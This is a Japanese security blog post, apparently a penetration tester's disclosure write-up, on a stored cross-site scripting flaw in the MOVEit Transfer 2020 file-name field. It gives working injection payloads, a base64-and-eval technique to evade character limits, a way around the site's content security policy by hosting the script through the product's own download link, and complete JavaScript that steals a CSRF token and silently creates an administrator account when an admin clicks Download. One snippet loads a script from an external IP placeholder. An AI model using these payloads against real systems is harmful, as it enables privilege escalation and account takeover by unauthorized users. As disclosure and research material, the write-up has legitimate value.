
MOVEit Transfer 2020 Webアプリケーションの保存型クロスサイトスクリプティング(XSS)
最近のWebアプリケーションテストにおいて、対象のアプリケーションの1つはMOVEit Transfer 2020 Webアプリケーションでした。評価中に、格納型クロスサイトスクリプティング(XSS)の脆弱性が特定されました。このブログ記事では、その脆弱性の発見と、それを悪用してWebアプリケーションへの管理者アクセスを取得する方法について説明します。
アプリケーション全体に見られるさまざまな入力フィールドでの入力検証をテストしていると、特定のペイロードが提供されたときに予期しない出力を生成する入力フィールドが1つありました。その入力フィールドは、アップロードされるファイル名でした。特定のファイル名でファイルをアップロードした後、ファイルをダウンロードしようとすると、ダウンロードボタンが何の動作も行わないことが確認されました。この動作を調査したところ、下の画像のように、ダウンロードボタンをクリックするとJavaScriptエラーが発生していることがわかりました。

このエラーが特定された後、ダウンロードボタンの背後にあるHTMLコードが分析されました。初期分析の結果、ファイル名が適切にサニタイズされずにボタンのonclick JavaScript関数に含まれていることがわかりました。下の画像をご覧ください。

この観察から、ユーザーがDownloadボタンをクリックすると実行されるJavaScriptコードを注入できることが明らかになりました。最初のステップは、alert関数を介してJavaScriptポップアップをトリガーするProof of Conceptコードを作成することでした。コードの性質とファイル名が注入される場所を考慮して、次のペイロードが作成されました。このペイロードは、呼び出されている関数を終了させ、新しい関数alert()を追加し、その後にダミー関数を追加してコードを完成させます。
test", 382,"1234");alert("XSS");a("test
このペイロードを使ってテストできます。ファイルをアップロードし、Burp Proxyを使用してサーバーへのアップロードリクエストをインターセプトし、ファイル名を変更してサーバーに転送します。


ファイルがアップロードされたので、ファイル名をクリックしてファイルを開き、Downloadボタンをクリックします。ここでXSSがトリガーされ、JavaScriptのアラートポップアップが表示されます。

すごい!これで任意のJavascriptコードを実行できます。他に何ができるでしょうか?これからさらに何か得られるでしょうか?
アプリケーションとその機能を調べた後、潜在的な攻撃ベクトルとして、低レベルのユーザーが特権を昇格させてWebアプリケーションへの管理者アクセスを取得しようとすることが考えられました。
最初のステップは、XMLHttpRequestを使用してJavascript経由でHTTPリクエストを実行できるかどうかを確認することでした。ファイル名とフォルダ名の設定を確認したところ、MOVEitではファイル名やフォルダ名に/や\を含めることが許可されていないことがわかりました。そのため、これによりHTTPリクエストの実行が妨げられる可能性があります。もう1つの制限として、ファイル名は255文字に制限されていることが確認されました。
この分析に基づき、回避すべきいくつかの制限があります。最初の制限は、/と\の文字制限を回避し、リモートサーバーにホストされたJavascriptファイルを含める方法を見つけることでした。この制限を回避するために、実行したいJavascriptコードをbase64形式でエンコードし、メモリ内でデコードしてeval関数を介して実行することができます。次のコードスニペットがそれを正確に行います。
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t
このコードを使用した最初の試みは、ソースが外部ホストのファイルに設定された<script>タグを注入することでした。以下のコードスニペットをbase64エンコードし、上記のスニペットにコピーしました。
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);
これを試すと、別の問題が発生しました。CSPです。Webアプリケーションは外部Javascriptファイルの読み込みを防ぐCSPを使用していました。


つまり、外部ファイルを読み込むことができず、255文字を超えるJSコードを含めることもできません。今何ができるでしょうか?MOVEitの機能を悪用して、悪意のあるJavascriptファイルをホストするために使用することができます。
まず、システムに新しいユーザーを追加するページにGETリクエストを送信し、そこからCSRFトークンを抽出するJavascriptコードを作成する必要があります。次に、スクリプトは抽出したCSRFトークンを含むPOSTリクエストを送信して新しい管理者ユーザーを作成する必要があります。以下はこれを行うコードスニペットです。
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020
function r(){
alert(1);
var uri = "human.aspx?arg12=useradd";
xhr = new XMLHttpRequest();
xhr.open("GET", uri, false);
xhr.send(null)
if (xhr.status === 200)
{
responseBody = read_body(xhr);
firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
if (csrfToken){
var adduserUri = "/human.aspx";
var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
xhr2 = new XMLHttpRequest();
xhr2.open("POST", adduserUri, false);
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send(body);
}
}
}
function read_body(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else if (xhr.responseType === "json") {
data = xhr.responseJSON;
} else {
data = xhr.response;
}
return data;
}
上記のJavascriptコードはファイルに保存し、MOVEitにアップロードする必要があります。ファイルをアップロードした後、ファイルの詳細を開き、Burp ProxyでWebリクエストをインターセプトしながらダウンロードボタンをクリックします。Burp Proxyのログには、ファイルの直接ダウンロードリンクのエントリがあるはずです。このURLは次のようになります。
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636
直接ダウンロードリンクができたので、これをペイロードに含めるように設定できます。以下のコードは、スクリプトタグを作成し、ソースURLを直接ダウンロードリンクに設定し、最後にスクリプトタグをページのheadタグに挿入し、onloadでr()関数を実行します。
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);
次のステップは、上記のコードスニペットをbase64エンコードすることです。
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==
次のステップは、この最終的なXSSペイロードを注入することです。これを行うには、Burp Proxyでリクエストをインターセプトしながらファイルをアップロードし、アップロードされたファイル名を以下のXSSペイロードに変更します。
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t
ファイルがアップロードされたら、アップロードされたファイルをクリックして詳細を開き、DownloadボタンをクリックしてXSSをトリガーし、管理者ユーザーの作成を行います。低レベルのユーザーがこの設定を作成し、アップロードされたファイルが管理者ユーザーによってダウンロードされると、低レベルのユーザーは管理者に知らず知らずのうちに管理者アカウントを作成させることができます。
タイムライン